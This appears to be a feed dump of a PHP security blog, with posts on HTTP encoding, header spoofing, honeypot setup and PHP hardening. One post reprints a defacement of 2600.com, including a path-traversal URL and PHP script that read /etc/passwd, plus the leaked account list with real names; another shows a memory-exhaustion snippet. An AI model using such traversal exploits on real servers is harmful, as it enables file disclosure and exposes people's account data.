PHP – Grey Panthers Savannah https://grey-panther.net Just another WordPress site Tue, 24 May 2022 12:29:03 +0000 en-US hourly 1 https://wordpress.org/?v=7.1.3 206299117 Passing UTF-8 trough HTTP https://grey-panther.net/2013/05/passing-utf-8-trough-http.html https://grey-panther.net/2013/05/passing-utf-8-trough-http.html#respond Wed, 29 May 2013 17:36:00 +0000 These days we should write every code as if it will be used by international people with a wide variety of personal information (just look at Falsehoods Programmers Believe About Names for some headscratchers). I would like to do add my small contribution to this by showing how UTF-8 encoded strings can be passed into GET/POST parameters.

For this I’ll be using the following small PHP script, which can be quickly run by the command line PHP webserver added in PHP 5.4:

<?php header('Content-Type: text/html; charset=utf-8'); ?>
<code><pre>
GETs: <?php print_r($_GET); ?>
POSTs: <?php print_r($_POST); ?>
</pre></code>

We’ll test this with the following Python script:

#!/usr/bin/python
# vim: set fileencoding=utf-8 :
import urllib
import urllib2

params = {'name': u'東京'}
params = { k: v.encode('utf-8') for k, v in params.iteritems() }
data = urllib.urlencode(params)

url = 'http://localhost:8000/?' + data
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)

print response.read()

This all works well and nicely, so here are some conclusions:

  • GET and POST variables need to be UTF-8 encoded after which they need to be urlencoded (“% encoded”). See this StackOverflow answer.
  • Based on the same answer: hostnames use Punycode instead (but we are not concerned with hostnames here)

  • You might need to add the following header for POST requests to work: “Content-Type: application/x-www-form-urlencoded; charset=UTF-8”
  • Failing to observe this sequence leads to an UnicodeEncodeError in urllib.urlencode

]]>
https://grey-panther.net/2013/05/passing-utf-8-trough-http.html/feed 0 15
Know thy (cryptographic) functions https://grey-panther.net/2009/08/know-thy-cryptographic-functions.html https://grey-panther.net/2009/08/know-thy-cryptographic-functions.html#respond Tue, 18 Aug 2009 14:47:00 +0000 https://grey-panther.net/?p=227 More than I year ago I mentioned that VNC uses only the first 8 characters of the password to validate it. Today I found an other situation where this happens: the crypt function (to be fair, the glibc version of it has the option of using all the characters, but still we have the issue of legacy code). From the manpage (emphasis added):

By taking the lowest 7 bits of each of the first eight characters of the key, a 56-bit key is obtained.

Other software can also be exposed indirectly to this issue, for example PHP contains a binding to crypt which can use the old (insecure) way for generating hashes.

In conclusion:

  • good – train yourself and your peers / subordinates in security issues
  • better – limit the security code to a small library and validate it thoroughly
  • best – use a third-party, independently validate, high-level library which uses industry standard functions
]]>
https://grey-panther.net/2009/08/know-thy-cryptographic-functions.html/feed 0 227
User input, by any other name https://grey-panther.net/2009/04/user-input-by-any-other-name.html https://grey-panther.net/2009/04/user-input-by-any-other-name.html#respond Mon, 13 Apr 2009 09:50:00 +0000 https://grey-panther.net/?p=316 2494693462_b5bdd4af54_o A friend of mine posed me an interesting question: how is it possible that a CMS software, which displayed the IP addresses for comments made anonymously (instead of the username) showed a private IP (like 172.16.63.15)? Before I get to the actual explanation, here are some specific clarifications which should be made:

  • IP addresses are not a 100% reliable unique identifier. Well known methods of circumventing such restrictions are dynamic IP addresses and proxy servers. A less well-known method is BGP hijacking for example. These couldn’t have been the method used however, because almost any router (hopefully) would have dropped the packets containing private addresses.
  • Make sure that the IP addresses are actually private. The actual private IP ranges are the following (as defined by section 3 of RFC 1918):
    • 10.0.0.0 – 10.255.255.255
    • 172.16.0.0. – 172.31.255.255
    • 192.168.0.0 – 192.168.255.255

    It is easy for someone not working daily with these ranges to mistake an IP close to these ranges as private, like 196.168.1.2. An other source of confusion can come from the less intuitive range for the B class (for example the address 172.15.80.1 is public and routable)

Now for the actual cause: my first (and, as it turns out, correct) intuition was that the software was trying to be too clever for its own good and was parsing the “X-Forwarded-For” header. This header can be added by proxies to indicate the original source of the request, but – as other user input – can be relatively easily spoofed by the client. For example below is a small Perl script, which uses HTTP::Proxy and adds an arbitrary X-Forwarded-For header to your requests (you can find the most up-to-date version of the script in my SVN repository):


#!/usr/bin/perl
use strict;
use warnings;
use HTTP::Proxy;
use HTTP::Proxy::HeaderFilter::simple;
use Data::Dumper;

my $proxy = HTTP::Proxy->new;
$proxy->x_forwarded_for(0);
$proxy->port(3128);
$proxy->push_filter(
 mime    => undef,
 request => HTTP::Proxy::HeaderFilter::simple->new(
  sub { $_[1]->header('X-Forwarded-For' => '10.1.2.3') },
    ),
);
$proxy->start;

There are a couple of issues here:

  • PHP mixes values of different “trust levels” in the same structure. In fact the, the actual code from the project looked like this: if (!array_key_exists('ip', $this->arrCache)) { $this->arrCache['ip'] = strlen($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']; }. As you can see, both REMOTE_ADDR and X_FORWARDED_FOR were obtained from the same array, even though REMOTE_ADDR is much more trust-worthy (not counting issues like route-hijacking)
  • The next logical question would be: what sanitization is done on this value? I didn’t dig more deeply in the code, but judging from the code-fragment, not very much. In fact, if I recall correctly, this header can contain multiple IP addresses if the request passed trough multiple proxies, a case which doesn’t seem to be handled by this code. It can contain IPv6 addresses. It also can contain characters which can cause problems if the value is used in a certain way (think SQL injection or command injection)

The conclusion is that you must take great care in determining which input parameter can be controlled by whom and under what condition and make your judgment call on filtering and escaping depending on that. When in doubt, filter. It is better to loose a couple of milliseconds in performance than ending up with a p0wned infrastructure.

Update: An other possible dangerous situation can be when a reverse proxy is in front of one or more webservers. With this setup the developer can easily get the impression that the X-Forwarded-For header is controlled by our proxy, so it is safe to use the values from it without filtering, right? Wrong! A quick look at two widely used solutions (Apache and Squid) show that both can be configured to concatenate the user supplied value with the IP address. In fact, this is the default behaviour for mod_proxy.

Speaking of p0wned infrastructure, apparently 2600.com was defaced for a short period of time in the weekend and contained the following piece of output (archived for posterity):


Go Hack Tetris!

o_O

O_o

^_O

www.gosu.pl/tetris/


http://www.2600.com/cuba/index.khtml?post=.///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////../../../../../etc/passwd

root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/sbin/nologin
news:*:8:8:News Subsystem:/:/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/sbin/nologin
ftp:*:21:21:Anonymous FTP:/u/ftp:/sbin/nologin
sshd:*:22:65533:sshd unprivileged processes:/:/sbin/nologin
postfix:*:25:25:Postfix Mail System:/nonexistent:/nonexistent
bind:*:53:53:Bind Sandbox:/:/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/libexec/uucp/uucico
xten:*:67:67:X-10 daemon:/usr/local/xten:/sbin/nologin
pop:*:68:6:Post Office Owner:/nonexistent:/sbin/nologin
apache:*:80:80:Apache:/nonexistent:/sbin/nologin
apache2:*:8080:80:Apache:/nonexistent:/sbin/nologin
webstats:*:81:83:Web Statistics:/nonexistent:/sbin/nologin
thttpd:*:82:82:thttpd web server:/nonexistent:/sbin/nologin
htproxy:*:85:85:http proxy server:/nonexistent:/sbin/nologin
audit:*:87:87:system audit processes:/nonexistent:/sbin/nologin
mysql:*:88:88:MySQL Daemon:/var/db/mysql:/sbin/nologin
namazu:*:89:89:Namazu Database:/var/db/namazu:/sbin/nologin
apache2:*:90:90:World Wide Web Owner:/nonexistent:/sbin/nologin
ash:*:1000:1000:ash:/home/ash:/bin/tcsh
emmanuel:*:1001:20:emmanuel:/home/emmanuel:/bin/tcsh
mec:*:1002:1002:mec:/home/mec:/sbin/nologin
omar:*:1003:1003:omar:/home/omar:/sbin/nologin
marko:*:1004:1004:marko:/home/marko:/sbin/nologin
kerry:*:1005:1005:kerry:/home/kerry:/bin/tcsh
juintz:*:1006:1006:juintz:/home/juintz:/bin/tcsh
css:*:1007:1007:carl shapiro:/home/css:/bin/tcsh
kpx:*:1008:1008:kpx:/home/kpx:/sbin/nologin
lgonze:*:1009:1009:lgonze:/home/lgonze:/sbin/nologin
mlc:*:1010:1010:mlc:/home/mlc:/bin/tcsh
ashcroft:*:1011:1011:ashcroft:/home/ashcroft:/usr/local/bin/noshell
ortbot:*:2001:2001:www.ortinstitute.org automated processes:/nonexistent:/sbin/nologin
lexnex:*:2002:2002:lexnex:/home/lexnex:/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/sbin/nologin
sephail:*:1012:1012:Joseph Battaglia:/home/sephail:/sbin/nologin
redhackt:*:1013:1013:Red Hackt:/home/redhackt:/bin/tcsh
thedave:*:1014:1014:Dave Buchwald:/home/thedave:/bin/tcsh
phiber:*:1015:1015:Phiber:/home/phiber:/bin/tcsh
mark:*:1016:1016:Mark:/home/mark:/usr/local/bin/bash

<?php

// current path: $webroot = "/u/www/www.2600.com";

$file = '../../../etc/passwd';
// file can also be a directory name (must end with a slash) - gives directory structure, file_get_contents bug??
// its a little obfuscated with some random chars, but readable

// ------

$save = 'sources/';

$url = 'http://www.2600.com/cuba/index.khtml?post=';
$post = './/../../'.$file;

$overflow = 993;

while (strlen($post) < $overflow) {
    $post = str_replace('.//', './//', $post);
}

$url = $url . $post;

$cont = curl_cont($url);

preg_match('#<div id='blog'>s*<strong>[^<>]+</strong>s*<br>([sS]+)</div>s*<div class='clears'>s*</div>#Ui', $cont, $match);
$cont = $match[1];
$cont = preg_replace('#(rn|n|r)<br>(rn|n|r)(rn|n|r)<br>(rn|n|r)#', "rnrn", $cont);
$cont = preg_replace('#<br>(rn|n|r)#', "rn", $cont);
$cont = trim($cont);

if (!$cont) {
    echo 'failed';
    exit;
}

highlight_string($cont);

if (!function_exists('fput')) {
    function fput($f, $s)
    {
        $fp = fopen($f, 'w');
        fwrite($fp, $s);
        fclose($fp);
    }
}

$file = str_replace('http://www.2600.com/cuba/index.khtml?post=', '', $url);
$file = str_replace('../', '', $file);
$file = str_replace('./', '', $file);
$file = preg_replace('#/{2,}#', '', $file);
$file = str_replace('/', '-', $file);

if (!$file) {
    $file = '__index';
}
if ($file) {
    $file = $save.$file;
    if (!file_exists($file)) {
        @fput($file, $cont);
    }
}

function curl_cont($url, $options = array())
{
    $page = curl_get($url, $options);
    if (200 == $page['http_code']) {
        return $page['cont'];
    }
    return null;
}
function curl_get($url, $options = array())
{
    $url = str_replace(' ', '%20', $url);
    $ch = curl_init($url);

    curl_setopt($ch, CURLOPT_HEADER, isset($options['include_header']) ? $options['include_header'] : 0);
    if (substr($url, 0, strlen('https')) == 'https') {
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    }
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    if (isset($options['userpwd'])) {
        curl_setopt($ch, CURLOPT_USERPWD, $options['userpwd']);
    }
    if (isset($options['timeout'])) {
        $timeout = ceil($options['timeout']);
        curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
    }
    if (isset($options['max_size'])) {
        $range = "0-{$options['max_size']}";
        curl_setopt($ch, CURLOPT_RANGE, $range);
    }
    if (isset($options['referer'])) {
        curl_setopt($ch, CURLOPT_REFERER, $options['referer']);
    }
    // example agent: 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)'
    if (isset($options['agent'])) {
        curl_setopt($ch, CURLOPT_USERAGENT, $options['agent']);
    }
    if (isset($options['headers'])) {
        curl_setopt($ch, CURLOPT_HTTPHEADER, $options['headers']);
    }
    if (isset($options['cookie']) && count($options['cookie'])) {
        $cookie = '';
        foreach ($options['cookie'] as $name => $value) {
            $cookie .= sprintf('%s=%s; ', $name, urlencode($value));
        }
        $cookie = trim($cookie);
        curl_setopt($ch, CURLOPT_COOKIE, $cookie);
    }

    $cont = curl_exec($ch);
    $error = curl_error($ch);
    if ($error) {
        trigger_error('curl_exec() failed: '.$error, E_USER_ERROR);
    }
    $inf = curl_getinfo($ch);
    $inf['cont'] = $cont;
    curl_close($ch);

    return $inf;
}

?> 

Picture taken from Simon Strandgaard’s photostream with permission.

]]>
https://grey-panther.net/2009/04/user-input-by-any-other-name.html/feed 0 316
Optimizing regular expressions with PHP https://grey-panther.net/2009/04/optimizing-regular-expressions-with-php.html https://grey-panther.net/2009/04/optimizing-regular-expressions-with-php.html#respond Tue, 07 Apr 2009 12:42:00 +0000 https://grey-panther.net/?p=323 2372872685_5e35d92617_o I was intrigued by the following text in the PHP reference, especially because there is considerable regex use in the wehoneypot project:

S When a pattern is going to be used several times, it is worth spending more time analyzing it in order to speed up the time taken for matching. If this modifier is set, then this extra analysis is performed. At present, studying a pattern is useful only for non-anchored patterns that do not have a single fixed starting character.

My questions were: (a) what exactly does it mean by “using”, since PHP doesn’t have the concept of “compiling” regular expressions like other languages have and (b) in which cases are these optimizations useful?

The first useful information about the issue I found on stackoverlow, where a comment by EBGreen mentioned the book “Mastering Regular Expressions” by Jeffrey Friedl. You can take a peek into the book using books.google.com. Starting with page 478 it discusses efficiency issues in PHP, including the S modifier. A quote from it:

Currently, the situations where study can and can’t help are fairly well defined: it enhances what Chapter 6 calls the initial class discrimination optimization.

This is essentially the same as the explanation from the manual, however it also gives an example which makes the issue clearer:

Let’s say that you have the regex /0x[a-f0-9]+/i. It is pretty clear that a match is possible in the string where we find a zero, and it makes no sense for the regex engine to try matching in other places (and in fact, it doesn’t). However, if we have an expressions like the following /<i>|<b>|<em>/i, it is still clear to the human observer that only places containing “<” can be a starting point for the match, however the regex engine doesn’t know this, unless the S flag is specified and it has the chance to perform some analysis on the regex.

Now lets put some relative numbers to this explanation: I used preg_match_all with an expression similar to the second one in a loop to extract all the matches from from a ~20MB string 10 000 times. However the variation was less than 2% (in absolute terms this would mean less than 2 seconds on my machine – this also falls below the statistically significant threshold, since between different runs was ~50%). Given that most applications do far fewer calls to the PCRE library on much shorter strings, the S modifier for the moment doesn’t seem have a noticeable performance impact.

Finally, here is an interesting presentation about writing a compiler for PHP from the Google Tech-Talks collection:

Picture taken from Geek&Poke’s photostream with permission.

]]>
https://grey-panther.net/2009/04/optimizing-regular-expressions-with-php.html/feed 0 323
Learning is never done https://grey-panther.net/2009/04/learning-is-never-done.html https://grey-panther.net/2009/04/learning-is-never-done.html#comments Mon, 06 Apr 2009 13:50:00 +0000 https://grey-panther.net/?p=324 2500281256_537ee792bd_b I’ve been using PHP for a while now and thought that I knew the available functions (at least the generic ones) pretty well, but recently I got surprised: a recent entry on the Me and My Database blog pointed me towards http_build_query and in the same category I found parse_url. This is significant to me, since I used some hacked-up regular expression to do the same in the webhoneypot. So I ripped out my regex and replaced it with parse_url. There are at least three advantages to using built-in functions:

  • they are fast
  • they are probably better tested than your code
  • your code will be shorter (and less to maintain for you)

So next time you want to do something, take a look around, maybe there is a PHP function which already does what you want (or almost what you want). Admittedly, the organization (naming) of the functions is not always the most consistent, intuitive one, but the searching effort is well worth it.

Picture taken from triplezero’s photostream with permission.

]]>
https://grey-panther.net/2009/04/learning-is-never-done.html/feed 1 324
Updates for Webhoneypot https://grey-panther.net/2009/03/updates-for-webhoneypot.html https://grey-panther.net/2009/03/updates-for-webhoneypot.html#respond Tue, 31 Mar 2009 14:27:00 +0000 https://grey-panther.net/?p=332 94480664_8d83414253_b The development of the webhoneypot is back in swing again. We are aiming for the date of May the 15th as the release date for a beta version. A cool new feature which got committed recently is the possibility to “emulate” RFI vulnerabilities.

How does it work (idea taken from the glastopf project):

  • When a possible RFI attempt has been found, the respective file is fetched
  • The file is parsed line-by-line and if certain patterns are recognized, predefined text is outputted.

This method is based on the observation that most (automated) RFI attempts begin by inserting a basic script to output system information (like the OS version, PHP version, etc). The emulation tries to find these cases and output something realistically looking enough so that the next stage of the RFI is triggered.

What do you need?

Activating the emulation is rather straight forward – you only need to add the following two lines in your config.local file:

fetch_rfi=1
emulate_rfi=1

The prerequisites for it to function are: (a) the webserver has to have the possibility to make outbund connections and (b) one of the following methods of fetching remote files with PHP needs to be activate: the curl extension, allow_url_fopen or sockets.

Warning! Allowing outbound connections from the webserver lessens its security considerably, so you only should do it on test machines.

Have fun!

PS. A bonus tip: if you set loglevel to at least the value of 4, all requests are written to your logfile, in addition to it being sent to SANS. This can be useful if you yourself are interested in the attempts of the “bad guys” to compromise your security.

Picture taken from Cyron’s photostream with permission.

]]>
https://grey-panther.net/2009/03/updates-for-webhoneypot.html/feed 0 332
Installing the webhoneypot on OpenWrt https://grey-panther.net/2009/03/installing-the-webhoneypot-on-openwrt.html https://grey-panther.net/2009/03/installing-the-webhoneypot-on-openwrt.html#comments Fri, 20 Mar 2009 14:04:00 +0000 https://grey-panther.net/?p=349 3238690716_5f9771a8c0_o This is a raw tutorial for installing webhoneypot on a router running OpenWrt. The used version is Kamikaze 8.09 (this can be important because commands change between version). The tutorial is not 100% complete and I will update it in the future when I learn new information.

An other assumption I make is that you have a separate Linux machine. The techniques can be also adapted to Windows, but it is easier on Linux.

The first step is to make more space. Typical routers come equipped with small amount of flash (between 8 and 20MB), which isn’t even enough to install all the packages. This means that some kind of external storage needs to employed. In this example I’m assuming that an USB flash drive is used (a hidden assumption also is that the router in question has USB ports – for example some of the older WRT54Gs don’t, but ASUS 500 series do).

  • After logging in with SSH, update the list of packages: opkg update (in version 8.09 the list of packages is kept in RAM, so it needs to refreshed after each reboot)
  • Following (adapting) the UsbStorageHowto from the OpenWrt wiki, I installed the USB 1.1 and 2.0 modules (surprisingly both types of modules are needed to support USB 1.1 and 2.0 devices – 2.0 doesn’t offer compatibility with 1.1) and the ext3 filesystem modules:
    opkg install kmod-usb-uhci kmod-usb2 kmod-usb-storage kmod-fs-ext3
    # The insmod commands might not be necessary, because I got the message
    # "insmod: a module named X already exists" for all of them, but better
    # safe than sorry
    insmod usbcore
    insmod uhci
    insmod ehci-hcd
    insmod scsi_mod
    insmod sd_mod
    insmod usb-storage
    insmod ext3

  • Now we format our stick with the ext3 filesystem on the Linux box we have access to. You can do it with a visual tool like gparted, or from the command line:
    sudo cfdisk /dev/sdx   #delete other partitions and create a Linux partition
    mkfs.ext2 -j /dev/sdx1 #make sure to use the correct device :-)

    You might also want to consider dedicating part of the stick to swap (since the RAM of the router is also quite limited)

  • Plug in the stick into the router and mount it:
    mkdir /mnt/usbstick
    mount /dev/scsi/host0/bus0/target0/lun0/part1 /mnt/usbstick

  • Now, the following steps can lead to bricking your router, so proceed with care. The basic plan is the following:
    • Copy over the /usr directory to the stick
    • Delete the /usr directory from the internal flash
    • Mount the stick on the /usr directory
    • Install the packages we need
    • Copy back the old /usr directory to the internal flash (for safety, if for some reason the flas drive can not be mounted)

    This elaborate dance in needed because opkg (the package manager) insists on having X amount of free space on / before starting the install, even if /usr (where the packages will ultimately end up) is mounted from a separate device. opkg does have options which theoretically can work around this problem, however I couldn’t use them successfully.

  • To execute our plan:
    mkdir /mnt/usbstick/usr_backup
    # these commands will take some time
    cp -R /usr/* /mnt/usbstick
    cp -R /usr/* /mnt/usbstick/usr_backup
    rm -rf /usr/*
    umount /mnt/usbstick
    mount /dev/scsi/host0/bus0/target0/lun0/part1 /usr
    # now install the new packages. a few comments:
    # - nano is so that we can do some basic text editing (yeah, vi is too hard for me :-))
    # - php5-cli is needed because in the future an update capability will be added to
    #   the webhoneypot, which will be run from the command line
    # - php5-mod-curl - it is possible that this will be a dependency in the future
    # - php5-mod-openssl - the updates will be (possibly) done trough SSL in the future
    opkg install lighttpd lighttpd-mod-cgi lighttpd-mod-rewrite nano php5 php5-cli 
    	php5-mod-curl php5-mod-openssl php5-mod-pcre php5-mod-sockets
    # now copy back everything to /usr
    umount /usr
    mount /dev/scsi/host0/bus0/target0/lun0/part1 /mnt/usbstick
    cp -R /mnt/usbstick/usr_backup/* /usr/
    # and remount the stick again
    umount /mnt/usbstick
    mount /dev/scsi/host0/bus0/target0/lun0/part1 /usr

Now we have the packages installed. What follows is the fetching of the honeypot code from the repository and its installation to the router.

  • First we need to fetch the honeypot from the SVN. We could do this on the router (becuase it has a subversion-client package), but unfortunately that package doesn’t support the HTTP (WebDAV) protocol (as per the SVN FAQ, SVN implements a plugin system for the different protocols and ra_dav is missing from the package provided by OpenWrt). So we do on the Linux box: svn export http://webhoneypot.googlecode.com/svn/trunk/
  • We should also prepare two other files on the Linux box, which will be copied over to the router (you could create them on the router, but it is more convenient to do it on the Linux side):

    lighttpd.conf

    server.modules              = ("mod_rewrite", "mod_cgi")
    server.document-root       = "/usr/wh/html/"
    server.upload-dirs = ( "/tmp/" )
    server.errorlog            = "/usr/wh/logs/lighttpd_error.log"
    index-file.names           = ( "index.php", "index.html",
    static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
    server.port               = 80
    server.bind                = "0.0.0.0"
    server.pid-file            = "/var/run/lighttpd.pid"
    dir-listing.encoding        = "utf-8"
    server.dir-listing          = "disable"
    url.rewrite-once = ( "^/(.*)$" => "/index.php/$1" )
    cgi.assign = ( ".php" => "/usr/bin/php-cgi" )
    # debug.log-request-handling = "enable"

    php.ini

    [PHP]
    
    engine = On
    short_open_tag = Off
    asp_tags = Off
    output_buffering = Off
    max_execution_time = 5
    max_input_time = 60
    memory_limit = 8M
    error_reporting  =  E_ALL & ~E_NOTICE
    
    register_globals = Off
    post_max_size = 8M
    magic_quotes_gpc = Off
    magic_quotes_runtime = Off
    extension_dir = "./"
    enable_dl = Off
    cgi.force_redirect = 1
    file_uploads = Off
    allow_url_fopen = On
    allow_url_include = Off
    
    apc.enabled = Off
    
    extension_dir = "/usr/lib/php/"
    extension=pcre.so

    We set up lighttpd to run PHP scripts using the CGI protocol (FastCGI would be more efficient, but also more complicated). The steps were adapted from this tutorial. The php.ini file is needed for two reasons: first, Perl regex support is not compiled into the PHP binary, so we must load it. Second APC support is compiled into the PHP library, so we must disable it, since it tries to allocate 32M of memory by default, which makes PHP fail, since we have around 20M of memory in total :-). To test that your PHP installation is workin, issue the following command on the router: /usr/bin/php-cgi -v It should output some basic information about PHP (lik version, copyright, etc). If it fails because of the APC cache, it outputs error message like the one described here: [apc-error] apc_shm_create: shmget(0, 8388608, 658) failed: No error. It is possible that the chosen SHM segment size is higher than the operation system allows. Linux has usually a default limit of 32MB per segment.

  • We copy all the files from the Linux box to the router (in the /usr directory, since it now represents the USB stick):
    # on the router:
    mkdir /usr/wh
    # on the Linux box - replace 192.168.1.1 with your router's IP
    scp -r * [email protected]:/usr/wh
    # on the router:
    mkdir /etc/lighttpd
    mv /usr/wh/lighttp.conf /etc/lighttpd
    mv /usr/wh/php.ini /usr/bin
    # start the webserver

  • Start the webserver: lighttpd /etc/lighttpd/lighttp.conf Check that everything is working by accessing the address http://192.168.1.1/phpbb/ from you box (where 192.168.1.1 should be replaced with your router’s address)
  • Now configure the honeypot however you wish. The installation document should given you a good start. To edit the configuration file, do nano /usr/wh/etc/config.local. One thing I would suggest is to add loglevel=4 to it, so that the request details are also stored locally.
  • The next step would be do get a DNS name (from DynDNS for example). This is especially important if you have an IP address which changes from time to time. Also, you should submit the honeypot URL to the search engines. Have fun and please report any bugs or problems on the issue tracker.

Picture taken from mightyohm’s photostream with permission.

]]>
https://grey-panther.net/2009/03/installing-the-webhoneypot-on-openwrt.html/feed 1 349
Quick tips for installing PHP + IIS7 under Windows 7 https://grey-panther.net/2009/02/quick-tips-for-installing-php-iis7-under-windows-7.html https://grey-panther.net/2009/02/quick-tips-for-installing-php-iis7-under-windows-7.html#comments Fri, 27 Feb 2009 07:36:00 +0000 https://grey-panther.net/?p=382 58054545_d7179a8d36_o

If you are trying to install PHP under the default configuration of IIS7 with Windows 7 (and presumably Vista & Server 2008, but I observed it under Win7), you might run into problems (for example getting “Service Unavailable” errors). Here is how I managed to fix them:

First, make sure that you’ve installed all the “Application Development Features” as shown in the screenshot below. They are not installed by default and at least some of them are mandatory for being able to load PHP (I would assume that they are “CGI” and “ISAPI Filters” / “ISAPI Extensions”), but install them all, just to be on the safe side.

install_iis7_win7

Now (from an Administrator command line) go to the “C:Windowssystem32inetsrvconfig” directory and open up the file “applicationHost.config” with notepad. Remove all the references to PHP. Finally, re-add the *php <-> php5isapi.dll script mapping. Make sure that all your apppools are started and now everything should work.

I got some of the advice from this blogpost: Where did my IIS7 server go? Troubleshooting 503 "service unavailable" errors. Picture taken from psd’s photostream with permission.

]]>
https://grey-panther.net/2009/02/quick-tips-for-installing-php-iis7-under-windows-7.html/feed 4 382
PHPBB hack https://grey-panther.net/2009/02/phpbb-hack.html https://grey-panther.net/2009/02/phpbb-hack.html#comments Mon, 09 Feb 2009 13:18:00 +0000 https://grey-panther.net/?p=421 23865371_e33ca6436f_b I saw the news on the Kaspersky blog: phpbb.com was hacked. Fortunately (?) the hack wasn’t done trough PHPBB, rather trough a vulnerable installation of PHPList. BTW, the Kaspersky blog gets it wrong: the hack wasn’t because register_globals was enable, but rather because PHPList contained code to emulate the functionality of register_globals.

More info:

  • The suspekt blog shows the vulnerable parts and also points out that is_file can return true for some URLs, not just local files
  • The Errata Security blog points out that this was a zero-day in some sense (vulnerability was disclosed on Milw0rm, but not yet patched by the authors of PHPList)
  • The hackedphpbb site seems to be written by the author of the hack himself (herself?) and describes step by step how the hack was performed

Conclusions? Patch, patch, patch. Follow milw0rm (and other similar lists) for applications which you use. Use layered defense. Proper usage of all the PHP security features would have prevented this. A useful tool is PhpSecInfo which contains security audit rules and verifies that proper settings are applied on your server.

register_globals can be disabled from the .htaccess file if you can’t modify php.ini directly:

php_flag register_globals off

If you can’t do even that, you can use a script like the one below in each of your pages:

if (ini_get('register_globals') == 'on') {
   foreach ($_REQUEST as $key => $val) {
      unset($key);
   }
}

These solutions are of course error-prone (and not strictly related to the PHPBB hack), but they are better than nothing.

Image taken from AdamR’s photostream whit permission.

]]>
https://grey-panther.net/2009/02/phpbb-hack.html/feed 2 421
PHP security is scary! https://grey-panther.net/2009/02/php-security-is-scary.html https://grey-panther.net/2009/02/php-security-is-scary.html#respond Tue, 03 Feb 2009 09:42:00 +0000 https://grey-panther.net/?p=430 I knew that PHP limits the amount of memory that one script can allocate, so life is good, right? Right? Wrong!

Reading the documentation it states: Changeable – PHP_INI_ALL, meaning that you can change it using ini_set from the script itself. Even worse, it goes on to say: “Note that to have no memory limit, set this directive to -1”. So I whipped together a small testcode:

<?php
  ini_set('memory_limit', -1);
  $a = array();
  for($i = 0; $i < 10000000; ++$i)
    $a[] = 'foobard!';  
  print memory_get_usage();

And managed to allocate a whopping 979MB with the php.ini setting being 16MB! As far as I can tell, there is no way to enforce the memory limit set in php.ini! Suhosin doesn't seem to do it and neither does safe-mode.

What does this mean? Well, if the user is allowed to run PHP scripts in any shape or form (this includes scripts run trough RFI) they can DoS your server back to the stone age! This also means that on a shared host any client can take down the server!

How can you defend against it? As far as I can tell, there is no easy solution... Depending on your OS and HTTP server, there might be configurations provided by those to limit the damage. A workaround would be do disable ini_set (using the "disable_functions" directive), but this might break some applications.

PS. Of course the documentation says: "This helps prevent poorly written scripts for eating up all available memory on a server." - ie "this isn't a security feature" - but still, shouldn't there be some way to limit this?

Update: correction - suhosin can limit the maximum amount of allocated memory but it this feature is switched off by default. Sorry for doubting suhosin - this is something every PHP install should include (in fact: it is something the PHP core should include, but apparently their ego doesn't allow for this).

]]>
https://grey-panther.net/2009/02/php-security-is-scary.html/feed 0 430